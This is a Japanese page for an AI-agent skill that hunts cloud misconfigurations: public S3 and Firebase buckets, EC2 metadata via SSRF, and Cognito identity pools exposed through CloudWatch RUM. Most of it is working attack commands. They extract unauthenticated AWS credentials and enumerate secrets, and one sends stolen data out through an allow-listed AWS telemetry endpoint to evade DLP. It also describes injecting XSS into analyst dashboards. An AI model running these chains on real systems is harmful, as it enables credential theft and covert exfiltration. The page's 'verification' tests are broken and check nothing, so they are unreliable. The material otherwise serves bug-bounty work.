hunt-cloud-misconfig について
セキュリティテスター向けの、クラウドやインフラの設定不備を調べるスキルです。公開ストレージ、メタデータエンドポイント、管理パネル、CloudWatch RUMを扱い、ローカル検証と証拠に基づく確認方法も示します。
主な機能
- 01S3、GCS、Azure Blobの公開状態を調査
- 02EC2メタデータと管理パネルを確認
- 03CloudWatch RUMの設定と攻撃経路を分析
- 04LocalStackで検出内容を検証
- 05影響の証拠に基づいて問題を確認・評価
活用シーン
- 01公開バケット内の機密データを調査
- 02RUMのIDプールに過剰な権限がないか確認
- 03ローカルAWSシミュレーションで設定問題を再現
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-cloud-misconfigインストール後、Claude Code で/hunt-cloud-misconfigを入力して読み込まれたか確認します。
詳細
HUNT-CLOUD-MISCONFIG — クラウド/インフラストラクチャの設定ミス
最重要ターゲット
S3/GCS/Azure Blob
# S3 listing
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-APP.firebaseio.com/.json" # read
curl --max-time 30 --connect-timeout 10 -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
EC2 メタデータ(SSRF 経由)
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ # role name
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
公開された管理パネル
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
ローカル検証ツールチェーン
実際のクラウドにアクセスする前、またはアクセスする代わりに、ローカルの AWS シミュレーターに対してクラウド設定ミスの検出結果をテストするには:
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
これらの環境変数が設定されていないと、aws s3 cp/sync は InvalidRequest で失敗します。この点をチーム向けに文書化してください。再現可能な手順の全体については、docs/verification/phase2j-cloud-localstack.md を参照してください。
CloudWatch RUM の悪用(2024-2026 年の攻撃対象領域)
AWS CloudWatch RUM(リアルユーザーモニタリング)は、2021 年後半に開始されたクライアント側テレメトリーサービスです。顧客はページに JS スニペットを埋め込み、パフォーマンス/エラーイベントを dataplane.rum.<region>.amazonaws.com に送信します。スニペットの AppMonitor 設定には、identityPoolId(Cognito)と guestRoleArn(IAM ロール)が含まれており、どちらも設計上公開されています。IAM ロールポリシーがセキュリティ境界ですが、開発者が文書化された最小権限(AppMonitor ARN に対する rum:PutRumEvents)よりも広い権限を残している場合、プール全体が cloud-iam-deep → Cognito Identity Pool チェーンで説明されている、認証なしで AWS 認証情報を払い出す仕組みになります。
検出 — JS バンドルのフィンガープリント
スニペット形式(最も一般的で、<head> 内に埋め込み):
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
NPM 形式(aws-rum-web パッケージ):
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
偵察用正規表現セット
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
攻撃チェーン
チェーン A — 認証情報の抽出(guestRole に過剰な権限がある場合は重大)。 ページから identityPoolId を抽出すれば、誰でも次を実行できます:
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
一連の手順の全体は、cloud-iam-deep → Cognito Identity Pool の認証なしチェーンに記載されています。RUM は、一般的な埋め込み先の一つです。
チェーン B — テレメトリーエンドポイントを介した密かなデータ流出。 dataplane.rum.<region>.amazonaws.com は、すべての企業の許可リストに含まれる AWS 所有ドメインです。PutRumEvents のペイロードでは、任意の文字列を userDetails と customEvents のフィールドに指定できます:
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1
送信先を監視する防御側には、通信が信頼済みの AWS ホスト名宛てに見えます。DLP は JSON 本文を解析せず、SIEM ルールも通常、顧客の RUM テレメトリーを取り込みません。
チェーン C — スニペットソースの汚染による DOM インジェクション。 多くの顧客は、cwr.js を自社 CDN(assets.target.com/cwr.js)でセルフホストするか、aws-rum-web をバンドルして static.target.com/main.<hash>.js から配信しています。JS ホストのサブドメイン乗っ取り、またはサプライチェーンの侵害(aws-rum-webb を狙った npm のタイポスクワッティング)が発生すると、aws-rum-web SDK の信頼性を利用して、ページが読み込まれるたびに永続的な JS 実行が可能になります。すでに付与されている Cognito の権限も含まれます。
チェーン D — テレメトリーの注入/ダッシュボードの汚染。 公開されている identityPoolId と applicationId を使えば、外部の攻撃者は PutRumEvents に偽のエラー急増を大量に送り付けて実際のアラートを埋もれさせたり、ページ URL のテレメトリーに XSS ペイロードを注入し、SOC アナリストが CloudWatch ダッシュボードを表示した際に実行させたり、課金対象となる RUM イベント数を水増ししたりできます(経済的な DoS)。
重要度の基準
| 指摘事項 | 重要度 | 根拠 |
|---|---|---|
guestRoleArn に *:* または複数のサービスに対するワイルドカードがある | Critical(9.1+) | 匿名で AWS に完全アクセスできます |
guestRoleArn に、本番リソースに対する s3:*、dynamodb:*、secretsmanager:*、lambda:Invoke* がある | High(7.5-8.8) | リソースによってデータの持ち出しや RCE が可能です |
guestRoleArn に cognito-identity:* または iam:PassRole がある | High(8.0) | 権限昇格の足掛かりになります |
guestRoleArn に、エンドポイントにスコープされたリソースに対する rum:PutRumEvents のみがある | Informational | 文書化された意図どおりの設定です |
RUM の userDetails が、CloudWatch コンソールで閲覧可能なイベントに個人情報を記録する | Medium(5.3-6.5) | ダッシュボードの共有を通じて機密データが漏えいします |
RUM AppMonitor が任意のインターネットソースからの PutRumEvents を受け入れる(テレメトリの注入) | Low-Medium(4.3) | ダッシュボードの汚染、アラートの回避、課金 DoS が発生する可能性があります |
セルフホストした cwr.js が乗っ取り可能なサブドメイン上にある | チェーン攻撃につながる場合は Critical(9.8) | すべての顧客ページで永続的な格納型 XSS が発生します |
開示事例/信頼できる解説記事
2026-05 時点で、AWS RUM に特化して割り当てられた CVE はありません。この攻撃の種類は調査で文書化されていますが、RUM に関する具体的なバグ報奨金の支払い事例は、公開されているハックアクティビティではまれです。このパターンは「埋め込み SDK を介した Cognito ID プールの過剰な権限付与」で、RUM はよく埋め込まれる SDK の 1 つです。
- Andres Riancho — 「Misconfigured Cognito Identity Pools」(2020/2023) — この攻撃の種類を確立しています。andresriancho.com
- Rhino Security Labs — Pacu
cognito__enum_identity_pools— Chain A を自動化する本番用ツールです。github.com/RhinoSecurityLabs/pacu - NotSoSecure / Claranet — 「Exploiting weak configurations in Amazon Cognito」(2023 年 11 月) — RUM を、プール ID を漏えいすることの多い 3 つの SDK の 1 つとして明確に挙げています。notsosecure.com
- HackTricks Cloud —
aws-cognito-unauthenticated-enum— 標準的な手順書です。cloud.hacktricks.wiki - Datadog Security Labs — 「Following AWS Logs Backwards: Cognito Identity Pool Abuse」(2024) — 実際の悪用率を示すテレメトリです。securitylabs.datadoghq.com
- aws-observability/aws-rum-web の GitHub の issue #213、#404 — バンドルされたスニペットのセキュリティモデルに関するコミュニティの議論です。github.com/aws-observability/aws-rum-web
検証チェックリスト(報告前)
- ページのソースから
identityPoolIdを抽出します。 - プールで未認証 ID が許可されていることを確認します(認証なしで
get-idが成功する)。 get-credentials-for-identityが STS 認証情報を返すことを確認します。aws sts get-caller-identityを実行し、ロール ARN のスクリーンショットを撮ります。enumerate-iam/ Pacu のiam__enum_permissionsを実行し、rum:PutRumEvents以外に許可されているアクションを少なくとも 1 つ記録します。これがなければ、指摘事項は Informational です。- 実際のリソースに対する読み取りまたは一覧表示を少なくとも 1 つ実証します(S3 バケットの一覧表示、DynamoDB のスキャン、Lambda の呼び出し)。
- 許可されている場合でも、データを変更または削除しないでください。PoC は読み取り専用にしてください。
検証
- S3 バケットのプローブ — AWS CLI または curl のバケット構文を確認します:
echo "https://bucket-name.s3.amazonaws.com/" | grep -q "s3.amazonaws.com" && echo "PASS" || echo "FAIL" - Firebase RTDB のプローブ — Firebase URL の構文を確認します:
echo "https://project-id.firebaseio.com/.json" | grep -q "firebaseio.com" && echo "PASS" || echo "FAIL" - クラウドのメタデータエンドポイント — メタデータ IP の認識を確認します:
echo "192.0.2.1" | grep -q "169.254" && echo "PASS: metadata IP recognized" || echo "FAIL"
3 つのテストすべてで、クラウドの設定ミスを調査するプローブを検証します。
落とし穴
- 読み取り権限のない S3 バケットの一覧表示 — 一覧表示可能なバケットを見つけるのは偵察であり、脆弱性ではありません。機密情報を含むオブジェクトを読み取れることを実証する必要があります。
- 機密データのない Firebase の公開読み取り — 公開アプリ設定のみを含むオープンな Firebase RTDB は、情報提供にとどまります。PII、認証情報、または内部データが必要です。
- 認証情報への影響がない GCP/Azure ストレージ — 静的アセットを含む公開 Blob ストレージは、報告対象ではありません。シークレット、ソースコード、または顧客データが必要です。
- クラウドの外部からアクセスできるメタデータエンドポイント — 192.0.2.1 への SSRF は、クラウド内部からのみ悪用可能です。外部からメタデータにアクセスできる場合は、別の、より深刻な報告対象です。
- バケット ACL の設定ミスとポリシーの設定ミス — バケットポリシーと ACL は異なる仕組みです。バケットが公開されていると結論づける前に、両方をテストしてください。
- CloudFront/Cloudflare CDN のオリジン漏えい — CDN を迂回してオリジンに到達できることは、それだけでは偵察にすぎません。何が異なるのか(デバッグエンドポイント、認証なしのアクセスなど)を実証してください。
- 制限のないクラウド関数のトリガー — 公開呼び出し可能な関数は、意図された仕様である可能性があります。その関数が機密性の高い処理(データアクセス、リソースの変更など)を行うことを実証する必要があります。
関連スキルとチェーン
hunt-subdomain— 削除済みバケットを指す古い CNAME は、テイクオーバーの絶好の機会です。チェーンの基本要素:クラウドの設定ミス(S3 の公開/削除済み)+hunt-subdomain→ 未取得の CNAME がバケットを指す →assets.target.comのテイクオーバー。cloud-iam-deep— 公開バケット内に漏えいした SA JSON/AWS キーがあっても、問題の半分にすぎません。チェーンの基本要素:公開 S3 +.env内に漏えいした AWS キー →cloud-iam-deepによる列挙 → サービスをまたいだiam:PassRoleの権限昇格。hunt-ssrf— メタデータサービスに到達できるのは VPC 内からのみです。SSRF がその橋渡しとなります。チェーンの基本要素:SSRF + クラウドの設定ミス(IMDSv1 が依然として有効)→ インスタンスロールのキー → S3/RDS のデータ読み取り。supply-chain-attack-recon— 露出した CI/CD エンドポイントと SBOM から、内部パッケージ名が判明します。チェーンの基本要素:Jenkins/GitLab の露出 + 内部パッケージ名の漏えい → npm/PyPI への依存関係の混同を利用したパッケージ公開 → CI ビルドの侵害。security-arsenal— Cloud Bucket Wordlist(target-prod / target-backup / target-staging のパターン)と Admin-Panel Path List を読み込み、高速に列挙します。triage-validation— Unique-Marker ゲートを適用します。「書き込み可能なバケット」と主張する場合は、固有のマーカーファイルを書き込み、クリーンなセッションから読み戻せることを確認してから報告を提出する必要があります。